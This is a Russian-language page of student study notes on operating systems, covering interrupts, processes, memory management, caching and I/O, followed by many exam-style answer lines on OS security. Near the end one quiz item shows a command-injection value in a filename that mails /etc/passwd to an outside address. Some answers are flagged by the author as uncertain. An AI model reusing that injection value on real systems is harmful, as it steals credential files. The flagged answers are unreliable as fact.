Студопедия
Случайная страница | ТОМ-1 | ТОМ-2 | ТОМ-3
АрхитектураБиологияГеографияДругоеИностранные языки
ИнформатикаИсторияКультураЛитератураМатематика
МедицинаМеханикаОбразованиеОхрана трудаПедагогика
ПолитикаПравоПрограммированиеПсихологияРелигия
СоциологияСпортСтроительствоФизикаФилософия
ФинансыХимияЭкологияЭкономикаЭлектроника

Основные понятия и определения



Основные понятия и определения

 

ОС делает использование компьютера удобным,

Эффективно использует ресурсы,

Должна позволять разрабатывать новые приложения,

Управляет устройствами,

Управляет данными, файлами, процессами, памятью,

Зашита данных,

Ведение статистики

 

Операционная среда – ОС образует программную среду, эта среда и называется операционной.

В операционную среду данные попадают с периферийных устройств, данные из среды в результате вычисления попадают также на периферийные устройства

 

ОС может поддерживать несколько операционных сред. (виртуальная машина)

 

Прерывание

При прерывании нарушается нормальная последовательность выполнения команд. Программа обслуживания прерываний ISR – interrupt service routine, при завершении прерывания управление возвращается к той программе, на которой оно случилось.

Прерывания бывают трех типов:

  1. аппаратные
  2. exception – внутренние
  3. программные

Прерывания обрабатывает ОС, в состав которой входят специальные программы. Прерывания бывают векторными. Все прерывания пронумерованы, каждое имеет свою программу обработки ISR. По номеру прерывания вычисляется адрес, по которому находится программа обработки и вызывает ее.

 

Программное прерывание – фактически это вызов подпрограммы. Программные прерывания используются для перехода из режима пользователя в режим ядра. При вызове системных функций из прикладной программы.

 

Чаще всего основными источниками прерывания являются периферийные устройства. Они генерируют прерывания в двух случаях: при переходе в состояние готовности, при возникновении ошибки в работе устройства. Для передачи системе информации о готовности устройства используется сигнал прерывания.

 

Процесс – заявка на потребление всех ресурсов вычислительной системы, кроме процессорного времени. Время распределяется ОС между потоками.

 

Разделение процессов – процессы не должны друг другу мешать, быть изолированными друг от друга. Но иногда нужно организовать взаимодействие процессов (обмен данных через буфер, конвееры, почтовые ящики).

 

Поток – это средство распараллеливания вычислений.

 

Файлы и файловые системы – набор данных, хранящийся на устройстве и доступный по имени.

Система управления файлами – набор программ, сами файлы, стандартизованная совокупность структур данных, алгоритмов и программ, которые работают с файлами.



Задачи, решаемые файловой системой – операции создания, удаления файлов, переименования, поиска файлов, чтения и записи, обеспечение эффективного использования дискового пространства, обеспечение надежности хранения данных, восстановление в случае сбоев, защита данных от НСД, вопрос совместного использования файлов разными процессами

 

 

Память.

Все же знают, что память это ведь серьезно очень (с).

Память непосредственно связана с производительностью системы. Управление памятью решает следующие задачи:

Выделение памяти пользователи и освобождение ее,

Обеспечивает настройку программы на выделенные процессу участки памяти,

Управление выделенными областями памяти,

 

Иногда ОС приходится вытеснять во внешнюю память часть процессов, чтобы освободить память для тех, что остались.

 

Дополнительные функции, решаемые подсистемой управления памятью:

Процесс может получать и дополнительные, сверх выделенных ранее, области памяти; на маленьком объеме ОЗУ выполняет большие по объему программы и изолирует участки памяти друг от друга, участвует в выделении буферов областей памяти, через которые взаимодействуют процессы.

 

Пользователи – лицо или организация (абонент), который пользуется услугами вычислительной системы.

 

Режимы работы.

Мультипрограммирование – режим обработки данных, при котором ресурсы ВС предоставляются каждому из процессов в соответствии с некоторым регламентом (приоритетность, например). Применяется с целью увеличения эффективности.

Режим реального времени - ОС работает в темпе внешнего процесса, которым управляется (ракеты-самолеты, телефонные станции, химическое производство и пр)

Мультипрограммный режим обеспечивается и программными средствами и ОС.

 

Различают режимы пакетной обработки и коллективного доступа.

В режиме пакетной обработки задачи выстраиваются в общем случае в несколько очередей, и из этих очередей ОС выбирает задачи на выполнение. В режиме коллективного доступа в любой момент времени пользователь может поставит свою задачу на выполнение (квантование)

 

Управление процессами.

Процесс – действия, реализующие определенную функцию в ОС так, что ОС может манипулировать ресурсами в целях реализации мультипрограммирования.

Понятие процесса связано с понятием задачи. Задача – последовательность команд, которая обрабатывается вычислительной машиной, выполнение задачи происходит за счет запуска не менее, чем одного процесса

Задание в ВС – работа, которую пользователь дает выч системе, оформленная как отдельная единица и независимая от других единиц. Задание может иметь несколько программ, но не менее одной. Процесс – программа в стадии выполнения.

 

Возможные состояния процесса:

Порождение, выполнение процесса (в его распоряжении процессор), состояние ожидание, готовность, окончание работы (выгружается, отбираются все ресурсы)

 

Идентификатор, дескриптор и контекст процесса.

PID – персональный идентификатор процесса. Каждый процесс получает PID.

При создании процесса ОС дает процессу номер.

Дескриптор процесса PCB включает в себя PID, счетчик, состояние процесса, приоритет процесса, владелец процесса, время, предоставленное процессу в ОС, адрес расположения контекста процесса.

Дескрипторы всех процессов собираются в таблицу процессов.

Контекст процесса – среда, в которой работает процесс. Может включать в себя данные, которые обрабатываются, значения регистров процессора, указатель текущей команды – счетчик команд, таблица открытых файлов, указатели на области памяти, где процесс размещен, текущий диск, каталог, ошибки, которые были зафиксированы, флаги и пр.

 

Иерархия процессов.

Деление по приоритетам, родительские-дочерние процессы, порождение одним процессом другого.

 

Диспетчеризация процессов – определение очередности предоставления процессора. Связана с формированием очереди готовых процессов и модификацией этой очереди.

 

Понятие приоритета и очереди процессов.

Приоритет – важность выполнения процессов. Процессы могут назначаться администратором системы. На выбор приоритета влияют два фактора – важность или привилегии пользователя, объем процессорного времени, на который претендует процесс. Очередь активных процессов формируется для каждого уровня приоритета отдельно. Планировщик выбирает на выполнение более низкоприоритетные процессы, когда выполнены более высокоприоритетные. Статические приоритеты – назначаемые перед выполнением администратором, они не меняются. Динамические – приоритет может меняться в ходе выполнения.

 

Синхронизация процессов – их согласованное выполнение, соотнесение друг с другом различных фаз процессов, когда определенные стадии процесса совершаются в определенном порядке. Обычно синхронизацию реализуют, если параллельным процессам необходимо взаимодействовать. Для синхронизации используются средства межпроцессного взаимодействия: сигналы и сообщения, семафоры и мьютексы,каналы (pipe) и буферы.

 

Сигналы – уведомление процесса о наступлении события.

Наиболее частая реакция процесса на сигнал – завершение процесса. Вызывается обработчик сигнала, говорят что «сигнал перехватывается». Так же сигнал может быть игнорирован. Сигналы используются для управления работой процессов.

Событийное программирование – такая парадигма, когда выполнение программы определяется событиями.

 

Средства коммуникации процессов

Одна из задач ОС – разные процессы должны быть изолированными. Для каждого процесса ОС предоставляет как бы виртуальную машину, которая моделирует выполнение процесса на отдельном компьютере.

 

Семафоры бывают 0\1 и счетные – когда меняется от 1 до n. P(S) уменьшает значение семафора на единицу, ожидает, пока значение не станет равным 1. V(S) увеличивает на единицу.

 

Семафоры могут использоваться и для организации взаимодействия процессов.

V(S,k) - эта функция блокирует процесс, если S меньше k.

 

Сигналы высокоуровневые, управляемые системой, а не аппаратурой (в отличие от прерываний).

 

Сообщение – не прерывает работу процесса-получателя, они ставятся в очередь сообщений. Сообщения это не только средство синхронизации, но и средство обмена данными.

 

Буфер используется для обмена данными между процессами.

 

Участки памяти могут рассматриваться как критические секции и защищаться семафорами.(а то возьмешь два раза подряд запишешь или считаешь).

 

Байты взяли из ведёрка и плеснули в трубу! (с)

 

Pipe – канал. В нем могут происходить такие же события, как и в файле – открытие, запись, закрытие.

 

Способы реализации мультипрограммирования.

 

Многозадачность – способность ОС, обеспечивающая одновременно выполнение нескольких задач на одном процессе.

 

Режим разделения времени – «вытесняющая» многозадачность, время разделяется между задачами в соответствии с приоритетом.

 

Пакетная обработка – очереди, в каждой очереди может быть несколько задач.

 

Управление памятью

 

SWAP – выгрузка образа процесса на диск (свопинг используется при нехватки оперативной памяти, мы выгружаем процесс в своп файл, освобождая память)

 

Машинное слово – обычно 32 бита в 32-х разрядной системе.

 

КЭШ память – очень быстродейственная, реализуется это на принципе локальности (команды находятся рядом).

 

Hit – попадание, успешное попадание в высший уровень памяти (или miss – промахнулись)

 

Потери на промахе включают два компонента – acess time – время на обращение; время пересылки слов нового блока

 

Методы управления памятью

Эффективность системы кэщ зависит от стратегии управления памятью – метод отображения памяти в кэше.

Стратегии замещения в КЭШе.

 

Существуют три основных способа размещения блоков строк основной памяти в кэше.

Кэш память с прямым отображением – dirrect-mapped cache. Блоки основной памяти, имеющие одинаковые младшие разряди в своем адресе, попадают в один блок кэш-памяти

Полностью ассоциативная память – full аssociative cache – может отображать содержимое любой области памяти в любую область кэша.

Partial associative cache – компромисс между первым и вторым

 

Для замещения блоков в кэще применяют две стратегии – случайная (random), псевдослучайный алгоритм замещения – когда замещается тот блок, который не использовался дольше всех (LRU – least recently used)

 

Алгоритм обмены с кэш-памятью имеет такие разновидности:

Алгоритм сквозной записи: write through (store through)

Алгоритм простого свопинга simple swapping (write back)

Алгоритм свопинга с флагами flag swaping или обратной записи в конфликтной ситуации

Алгоритм регистрового свопинга – FRS

Алгоритм сквозной записи

 

Алгоритм простого свопинга: обращение к памяти только тогда, когда в быстром буфере нет нужного слова.

Алгоритм свопинга с флагами: сначала перезаписывается из кэша блок в основную память, затем запись в кэш нужного блока. Пересылать в основную память необходимо те слова, флаги которых оказываются в установленном состоянии. (флажки ставятся к тем блокам, которые были изменены. Неизмененные блоки можно перезаписывать сразу)

 

Принципы организации виртуальной памяти

Для надежного функционирования мультипрограммных систем (оперативная память маленькая, для одной задачи не хватает, а мы прогоняем несколько процессов, используя механизм виртуальной памяти)

Перекачка данных блоками, распределение поблочно оперативной памяти между процессами.

Системы виртуальной памяти бывают страничные и сегментные.

(Размер сегмента может изменяться, это логическая концепция)

 

Сегментная организация.

Сегмент – отдельная логическая единица информации. Обращение к нему производится по имени. Нумерация слов, входящих в состав сегмента начинается с нуля.

Свойство повторной входимости - при каждом использовании программы данные на выходе одни и те же. Повторная входимость исключает самомодификацию входа.

Сегменты можно защищать атрибутами (запись-чтение и пр)

Виртуальный адрес в этом случае будет выглядеть следующим образом – сначала номер сегмента, потом смещение по сегменту d.

 

Таблица отображение виртуальных адресов в физические хранится в оперативной памяти.

 

Дескриптор таблицы сегментов – база (первый адрес, расположение таблицы) и длина этой таблицы.

 

Страничная организация памяти

Старший разряд адреса – номер страницы, младший – номер слова или байта.

Управление различными уровнями памяти осуществляет программа ядра.

Буфер трансляции адресов – когда для быстроты часть таблицы загружаем в кэш - TLB translation lookside buffer)

 

В процессоре предусматривается регистр, содержащий описатель (дескриптор) таблицы страниц (базово-граничную пару)

 

Ускорение работы памяти. Выделяют программные сегменты и сегменты данных. Из программных сегментов выделяются только выборка и чето там про константы.

 

Принципы замещения страниц. Менеджер памяти выделяет кадр оперативной памяти для размещения страницы.

 

Алгоритмы замещения страниц бывают локальные и глобальные.

Локальный – в пределах объема, выделенного процессу

Глобальный – любая страница может быть выделена, не важно какому процессу она принадлежала

Page fault – страничное прерывание (просим страницу – а ее нету, надо заново закачивать)

 

Эффективность алгоритма подкачки определяется по последовательности ссылок чето там ляля – чем меньше страничных прерываний, тем лучше.

 

Алгоритмы замещения страниц:

FIFO – выталкивание первой пришедшей страницы

Аномалия Биледи – существуют такие последовательности обращения к страницам, что при меньшем обращении к страницам прерываний так же меньше (должно быть больше страниц – меньше прерываний)

 

Оптимальный алгоритм

ОРТ: Замещает страницу, которая не будет использоваться в течение самого длительного периода времени.

LRU: Выталкивание дольше всего неиспользовавшейся страницы (least recently used)

NFU: not frequently used

 

Управление вводом-выводом

Классификация по способу вывода:

Прямое программирование устройств,

Прямое программирование через драйвер устройства,

 

 

Устройства, являющиеся адресуемыми, относятся к блочным

 

Для синхронизация использования потоками общих ресурсов или фрагментов кода применяются мьютексы.

 

Индикатор группы пользователь ОС Юникс представляет собой уникальное целое значение.

 

Дескриптором файла называется целое число, которое возвращает ОС.

 

Ресурсы, которые не допускают одновременного использования несколькими процессами, называются критическими.

 

К выгружаемым относятся такие ресурсы, которые могут быть отобраны у процесса

IPC расшифровывается как межпроцессное взаимодействие.

 

Цифровая подпись позволяет гарантировать целостность документов путем обработки исходного документа криптографическим алгоритмом хеширования и передачи получателем закрытого ключа/ прикрепление хэша к исходному документу ИЗМЕНЕНО ХЗ ЧО ОТВЕЧАТЬ, НО СКОРЕЕ ВСЕГО ОТВЕЧАТЬ ПРО ХЭШ

 

Сигнальный механизм в ОС Юникс позволяет процессу реагировать на различные события, чьи моменты появления никогда не могут быть заранее предусмотрены.

 

Именованный канал это разновидность псевдофайла который используется для организации взаимодействия процессов

К системам специального назначения относятся ОС для смарт-карт и для реального времени

В механизмах защиты принцип минимальных полномочий означает что у каждого домена есть минимум объектов и привилегий для работы с ними и нет ничего лишнего

 

По назначению различают ОС общего и специального назначения

 

Если антивирусная программа настроена на анализ слишком короткой сигнатуры вируса, возможна ошибка ложной тревоги

Основное назначение спулигна создать видимость разделения устройства ввода-вывода

 

Таблица прерываний отображает связь между сигналом запроса на прерывание и устройством ввода-вывода

В большинстве процессоров для обеспечения главного принципа организации ввода-вывода: любые операции по управлению вводом-выводом являются привилегированными и могут выполняться только кодом самой ОС вводится режим супервизора

 

Надежность аутентификации пользователей с помощью регистрационного имени и пароля не высока даже при надежном ранении пользователем своих регистрационных данных, поскольку логин и пароль могут быть подобраны перебором

Сегментация памяти позволяет снизить издержки на страничный обмен

 

Бит ссылки R в таблице страниц предназначен для выбора страниц-кандидат на удаление из памяти

Страничный сбой вызывает прерывание выполняемого процесса и попытку загрузить нужную страницу в оперативную память

Виртуальный адрес преобразуется в физический адрес в оперативной памяти с помощью таблицы страниц

Алгоритмы страниц используют информацию об обращениях к страницам в прошлом для прогнозирования

 

Свойство целостности the inf чето там означает что директор может читать файлы сотрудника, но не наоборот.

 

Атаки, вызывающие отказ в обслуживании генерирует массу ложных запросов к системе каждый из которых не является криминальным

 

При многопоточном режиме задача разделения ресурсов между потоками ложится на ОС

 

Идентификация пользователя осуществляется подсистемой управления процессами

 

Основная программная среда непосредственно образуется кодом ОС

 

Сегментом при организации виртуальной памяти называется логический блок внешней памяти

 

Одной из функции ОС является организация механизмов обмена сообщениями между выполняющимися программами

 

Для обеспечения возможности внешней синхронизации процесса ОС Юникс имитирует для каждого процесса систему программных прерываний, называемых сигналами

Диспетчеризация с перераспределением процессорного времени между задачами называется вытесняющей многозадачностью

Ситуация, когда два или более процесса считывают или записывают какие-нибудь общие данные, а окончательный результат зависит от того, какой процесс и когда именно выполняется называется состязательный.

 

В Юникс процесс, все его дочерние процессы и более отдаленные потомки принадлежат единому дереву

Общим критерием эффективности мультипрограммирования связан с пропускной способностью

 

Концепция процесса предполагает что он является носителем данных и выполняет операции, связанные с обработкой этих данных

 

Для сглаживания эффекта значительного несоответствия скоростей между внутренними и внешними процессами используют буферизацию.

 

Обращение к командам ввода-вывода в пользовательском режиме вызывает запрещение

Широкому распространению вредоносных программ способствует монополизм МС Виндоус поскольку разнообразие операционных систем существенно затруднило бы разработку вредоносных программ

 

Для обнаружения лазеек в программах могут использоваться автоматическое тестирование системы аутентификации на стойкость

 

Обращение из программ пользователя к ОС осуществляется в соответствии с имеющимся интерфейсом прикладного программирования API

 

Модульные дополнения микроядра, реализующие необходимые системные функции, вызываются из микроядра и получают статус обычного процесса или задачи

Под генерацией операционной системы понимается ее сборка и компоновка из отдельных программных модулей

Супервизор ввода-вывода может получать запросы на ввод-вывод от супервизора задач

Компонент ОС, управляющий вводом-выводом, называется супервизором ввода-вывода

Жесткие диски относятся к блочным устройствам ввода-вывода

 

Троянский конь может располагаться на веб-странице

При страничном способе организации виртуальной памяти физической страницей (страничным блоком) называется единица разбиения на одинаковые части оперативной памяти

Дополнительные программные среды могут быть образованы путем эмуляции иной операционной среды

Одной из функций ОС является организация механизмов обмена сообщениями между выполняющимися программами

 

Механизм обработки прерываний реализуется аппаратно-програмными средствами

Зарегистрированный пользователь может изменить свой пароль

 

Мультипрограммный режим работы позволяет выполнять один процесс\поток, пока другие блокированы или находятся в состоянии готовности

Для выполнения операций с файлами в ОС предусмотрены системные вызовы

При сегментной организации памяти каждый сегмент должен занимать отдельную область физической памяти

Системы виртуальной памяти используют страничную организацию памяти и виртуальное адресное пространство

Уплотнение памяти при использовании свопинга заключается в перемещении при первой возможности всех процессов в нижние адреса

В компьютерах, использующих страничную организацию памяти, при записи в память М бит устанавливается в единицу

Размещение таблицы страниц в оперативной памяти замедляет переключение контекста и выполнение команд

Оверлейная организация программы заключается в ручном разбиении программ на части и поочередной загрузки частей программы в память по мере необходимости

Интерфейс пользователя с ОС реализуется с помощью специальных программных модулей, которые называют интерпретатор команд

Ресурсом называется многократно используемый внутри системы объект

Задачей ОС ПК является обеспечение многозадачного режима и работы отдельного пользователя

Секция продолжения драйверов, работающих в режиме прерывания осуществляет основную работу по передаче данных

 

Системная таблица ввода-вывода, каждым элементом которой является unit control block – блок управления устройством ввода-вывода – называется таблицей оборудования

Деление дискового пространства на несколько частей-разделов psrtitions позволяет иметь на одном устройстве несколько логических дисков

 

Принтер, спул-файл которого находится на том же компьютере, что и принтер локальным.

Прерывание от устройства ввода-вывода относят к классу внешних прерываний

 

Полная организация алгоритма LRU требует переупорядовачивания таблицы страниц при каждом обращении к памяти

Вызов соответствующих распределителей каналов и контроллеров является функцией супервизора ввода-вывода

Если в оперативной памяти нет свободного места, ОС выбирает редкоиспользуемый страничный блок и сбрасывает его содержимое на диск и на место выгруженного блока помещает страницу, к которой обратился процесс

При страничной организации памяти уменьшение размера страницы увеличивает размер таблицы страниц

При сегментной организации памяти сегмент это логический объект, который может содержать стек, массив, процедуру или набор скалярных данных

Механизм свопинга заключается в том, что каждый процесс сначала целиком размещается в оперативной памяти, а затем сбрасывается на диск, уступая место другим процессам

Алгоритмы замещения страниц используют информацию об обращении к страницам в прошлом для прогнозирования

 

Под системными запросами понимают вызовы системных операций или функций ОС

Одной из функций ОС является аутентификация пользователей

Физическая память представляет собой упорядоченное множество ячеек реально существующей оперативной памяти

 

Механизм сигналов в ОС Юникс позволяет не только воспринимать и обрабатывать сигналы, но и порождать их и посылать другим процессам

Главной целью мультипрограммирования в системах реального времени является реактивность ИЗМЕНЕНО

Для каждого события создается собственная процедура обработчик при событийном и объективно-ориентированном программировании

Потребность в синхронизации процессов возникает в мультипрограммных ОС

Процесс, находящийся в состоянии выполнения называется активным

Для получения контроля над удаленным компьютером, атакующий должен заменить один из адресов в программе на адрес атакующей программы ИЗМЕНЕНО

Целостность данных означает, что пользователь, не обладающий соответствующими правами, не должен иметь возможности получить доступ к каким-либо данным без разрешения их владельца

В большинстве процессоров для обеспечения главного принципа организации ввода-вывода: любые операции по управлению вводом-выводом объявляются привелегированными и могут выполняться только кодом самой ОС вводится режим ядра

Для защиты файла контрольных сумм от вмешательства со стороны вирусов, при условии что разработчик вируса имеет доступ к антивирусной программе следует использовать хранение контрольных сумм в цифровую подпись файла контрольных сумм ИЗМЕНЕНО

 

При абсолютной адресации памяти загрузка нескольких программ в память возможна при условии модификации всех адресов в процессе загрузки программы

Множество процессов, существующих в каждый момент, образуют в Юникс множество иерархических структур

У процессов, выполняющих общую совместную работу таким образом, что результаты вычислений таким образом, что результаты вычислений одного процесса в явным виде передаются другому, и именно на этом построена их работа, возникает потребность буферизации.

Приоритеты, зависящие от времени обслуживания принадлежат к классу динамических

В ОС Юникс сигналы, источником которых выступает сам процесс, являются синхронными

В целях снижения риска заражения вирусами следует использовать TXT вместо DOC

 

Цифровая подпись позволяет подписывать электронные сообщения и другие документы таким образом, чтобы позже отправитель не смог от нее отказаться

Повысит свой уровень привилегий инсайдеры могут с помощью похищения пароля администратора

Если зараженный компьютер регистрирует нажатие клавиш, злоумышленник может узнать номера кредитных карт. Противостоять такой угрозе может использование виртуальной клавиатуры.

Кэширование дисковых операций может быть существенно улучшено за счет упреждающего чтения

Планирует ввод-вывод (определяет очередность предоставления устройств ввода-вывода задачам, затребовавшим эти устройства) супервизор ввода-вывода

 

ОС представляет собой комплекс системных, управляющих и обрабатывающих программ

Режим разделения времени предполагает, что на каждую задачу поочередно выделяется квант времени, после чего процессор передается другой задаче

Преимущество виртуальной памяти перед свопингом заключается в том, что загрузка-выгрузка отдельных страниц выполняется существенно быстрее, чем свопинг целых процессов а неизменяемые страницы не требуется записывать на диск

Базовые (перемещающие) регистры процессора позволяют организовать динамическое перераспределение памяти

 

При страничной организации памяти уменьшение размера страницы сокращает время обработки страничного прерывания

Алгоритм замещения страниц NFU, базирующийся на эвристической оценке числа обращений к страницам. имеет недостаток заключающийся в том, что уже отработавшие страницы продолжают занимать оперативную память

В компьютерах, использующих страничную организацию памяти бит R для каждой страницы периодически сбрасывается, чтобы отличить страницы, к которым в последнее время не было обращений от тех страниц, к которым обращения были

Данные на магнитном диске располагаются блоками

Устройства ввода-вывода можно условно разделить на две категории блочные и символьные

Аппаратуру ввода-вывода можно рассматривать как совокупность аппаратных процессоров, на которых выполняются внешние процессы

 

Секция продолжения драйверов, работающих в режиме прерываний, осуществляет основную работу по передаче данных

 

После того, как неоднократно считанные с диска одни и те же данные один раз будут помещены в кэш, обращений к диску больше не потребуются и скорость работы программы значительно возрастет

 

При получении сигналов прерываний от устройства ввода-вывода супервизор ввода-вывода обрабатывает эти сигналы

 

Прерывание от внешних устройств по отношению к прерываниям от средств контроля процессора обладают абсолютным приоритетом

 

Совместимость программ на уровне исходным текстов означает совместимость на уровне языка программирования

Для сетевых ОС характерной является функцией обеспечения взаимодействия связанных между собой компьютеров

 

ОС может поддерживать несколько операционных сред

 

Термин маскирования означает запрет отдельных сигналов прерывания

 

Свопингом сегментом называется перемещение сегментам между оперативной и внешней памятью

 

Последовательная трансляция двух исходных программ ляляля двух разных процессов

 

В ОС Юникс каждый новый процесс может быть порожден только одним из существующим процессом

 

Область эффективного применения событийного программирования начинается там где возникают трудности декомпозиции решаемой задачи при которой генерация и обработка рассматриваются как объединенные процессы и неудобства использования графа переходов между состояниями

 

Два параллельных процесса могут быть независимыми

Учет участков свободной памяти с помощью связного списка свободных/занятых блоков позволяет выделять участки памяти произвольных размеров

 

Использование виртуальной памяти в однопрограммном режиме приводит к замедлению выполнения процесса если размер программы существенно больше размера объема памяти

 

Виртуальная память позволяет загружать множество небольших программ, суммарный объем которых больше объема физической памяти и загружать программы, размер которых превышает объем доступной физической памяти

Сегментная организация памяти упрощает компоновку отдельно скомпилированных процедур

 

При страничной организации памяти таблица страниц может страниц размещается в оперативной памяти и в специальной быстрой памяти

 

Страничная организация предназначена для получения большого адресного пространства без приобретения дополнительной физической памяти

При страничном сбое и отсутствии свободных блоков физической памяти ОС должна выбрать страницу-кандидат на удаление из памяти и записать во внешнюю память, если страница была модифицирована

Запросы на ввод/вывод от супервизора задач или от программных модулей самой ОС получает супервизор ввода/вывода

 

Любые операции по управлению вводом/выводом объявляются привилегированными

 

Супервизор вводы/вывода инициирует операции ввода/вывода и в случае управлением вводом-выводом с использованием прерываний предоставляет процессор диспетчеру задач

В режиме обмена с опросом готовности устройство ввода-вывода используется нерационально время центрального процессора

Понятие виртуального устройства по отношению к понятию спулинга является более широким

Каждый элемент в таблице оборудования называется UCB

 

Для увеличения скорости выполнения приложения предлагается использовать асинхронный ввод-вывод

 

Программа, расположенная в главной загрузочной записи, называется внесистемным загрузчиком

Простейший вариант ускорения дисковых операций чтения данных можно считать использование двойной буферизации

ОС реального времени должна обеспечивать наследование приоритетов

Интерфейс прикладного программирования предназначен для использования прикладными программами системных ресурсов

По режиму обработки задач различают ОС, обеспечивающие мультипрограммный и однопрограммный режим

Угроза зомби реализуется с помощью вредоносных программ

Недостаток систем шифрования с секретным ключом состоит в том, что о тправитель и получатель должны иметь общий секретный ключ

Объектами защиты в компьютерных системах могут быть программы

 

Политика принудительного управления доступом возлагает полномочия по назначению прав доступа файлам и другим объектам и другим объектам на руководителей подразделений

Защита зашифрованных паролей в Юникс взламывается путем шифрованием множества потенциальных паролей открытым алгоритмом шифрования и поиска совпадений в файле

Лазейки в программах создаются для облегчения отладки программ или в противоправных целях

Перезаписывающийся вирус заражает исполняемую программу путем записи вируса на место кода программы

Обнаружить зашифрованный вирус можно по сигнатурам кода процедур расшифровки вируса

 

Прерывание от внешних устройств по отношению к прерываниям от средств контроля процессора обладают абсолютным приоритетом

 

Немного теории:

 

Планировщик – программа, управляющая миграцией процессов между различными очередями при их прохождении через вычислительную систему

 

Подсистема буферизации – буферный пул, располагающийся в оперативной памяти и комплекс программ, управляющих этим пулом.

 

Подсистема управления процессами – часть ОС, которая планирует выполнение процесса, то есть распределяет процессорное время между одновременно существующими процессами, а также занимается созданием и уничтожением процессов, обеспечивает процессы системными ресурсами, поддерживает взаимодействие меду процессами.

 

Правила синхронизации – определяют порядок взаимосвязи процессов.

 

Прерывание – принудительная передача управления от процесса к ОС, а через нее к соответствующей программе обработки прерывания, происходящая при возникновении определенного события, механизм позволяющий координировать параллельное функционирование отдельных устройств вычислительной системы, и реагировать на особые состояния, возникающие при обработке процессора

 

Приоритет – характеризует степень привилегированности процесса при использовании ресурсов вычислительной системы.

 

Реинтерабельность (повторная входимость) – свойство программы, позволяющая одновременно выполнять эту программу нескольким процессам

 

Ресурс – любой потребляемый (расходуемый) объект ВС, который может быть передан потребителю (процессу) на какое-то время

 

Сетевой протокол – набор специализированных правил, описывающих и регламентирующий типы и форматы сообщений, с помощью которых могут взаимодействовать компоненты вычислительной сети.

 

Супервизор – программа, обеспечивающая оптимальное использование ресурсов компьютера в мультипрограммном режиме

 

Транзитные программные модули ОС – часть программных модулей ОС, которые загружаются в оперативную память только по необходимости.

 

Таблица управления процессом – содержит набор значений и параметров, которые характеризуют текущее состояние процесса и используются ОС для прохождения процесса через вычислительную систему

 

Файловая система – набор спецификаций и соответствующее им ПО, которое отвечают за создание, уничтожение, организацию, чтение, запись, модификацию и перемещение файлов, а так же за управление доступа к файлами и за управление ресурсами, которые используются файлами.

 

Ядро ОС – часть наиболее важных программных модулей ОС, которые постоянно находятся в оперативной памяти (резидентные) с целью эффективной организации вычислительного процесса

 

 

Внешняя атака отличается от внутренней тем, что внешний атакующий имеет вход в компьютер с помощью только сетевых протоколов.

При распределении подвижными разделами память каждому процессу выделяется при сборке программы редактором связей

При событийном программирование содержательной частью программ, касающихся обработки событий вызываются и подключаются ко внешней библиотеке

 

Матрица защиты, показываемая ниже, используется редко из-за больших размеров и разряженного характера.

 

 

Узким местом цифровой подписи является открытый ключ, который может быть подменен злоумышленником

Атаки с использованием переполнения буфера используют возможность предъявления программе очень длинной строки ввода

Таблица, которая описывает размещение и характеристики раздела, содержащего единственный логический диск, а так же может специфицировать следующую вторичную запись (SMBR) называется таблицей логических дисков

Среди дисциплин планирования, в соответствии с которыми можно перестраивать очередь запросов на операции чтения записи данных, наиболее эффективной является SEPT (кратчайшее ожидаемое время процесса)

 

Утечка информации с применением тайного канала covert channel организуется путем использования состояния сервера или его ресурсов, которые могут наблюдаться для кодирования информации.

 

При разделении подвижными разделами фрагментации возникает за счет того, что модули программы загружаются в несмежные участки оперативной памяти

Условия, при которых целесообразно применяют событийное программирование, следующие: невозможно определить единый механизм установления контакта и реакции на него никак не связаны с обработкой процессы обработки разных реакций на события не зависят друг от другас

Главной целью мультипрограммирования в системах разделения времени является обеспечение удобства пользователя

 

К общим критериям эффективности мультипрограммирования относится время выполнения одной задачи

 

Для обеспечения использования мультипроцессоров микроядро создает соответствующую микросреду

Одним из основных режимов управления вводом выводом является режим обмена с прерываниями

 

Противостоять атакам, вызывающим отказ от обслуживания, гораздо сложнее, чем другим видам атак

 

Программа, выполняющая копирование файла путем системного вызова, запрашивает у пользователя имена файла-источника и файла-приемника. Злоумышленник ввел в качестве именно файлов следующие значения «ааа» и «bbb»;; mail goofintaor@mail.ru </etc/passwd’’ Какие действия выполнит система? Скопирует файл aaa в bbb и отправит по электронной почте файл паролей адресату goofintaor@mail.ru


Дата добавления: 2015-08-28; просмотров: 174 | Нарушение авторских прав




<== предыдущая лекция | следующая лекция ==>
o сено, травы, бахчевые 9 страница | 1.Предмет и методы «Истории отечественного гос-ва и права». Источники исторической и юридической науки.

mybiblioteka.su - 2015-2024 год. (0.096 сек.)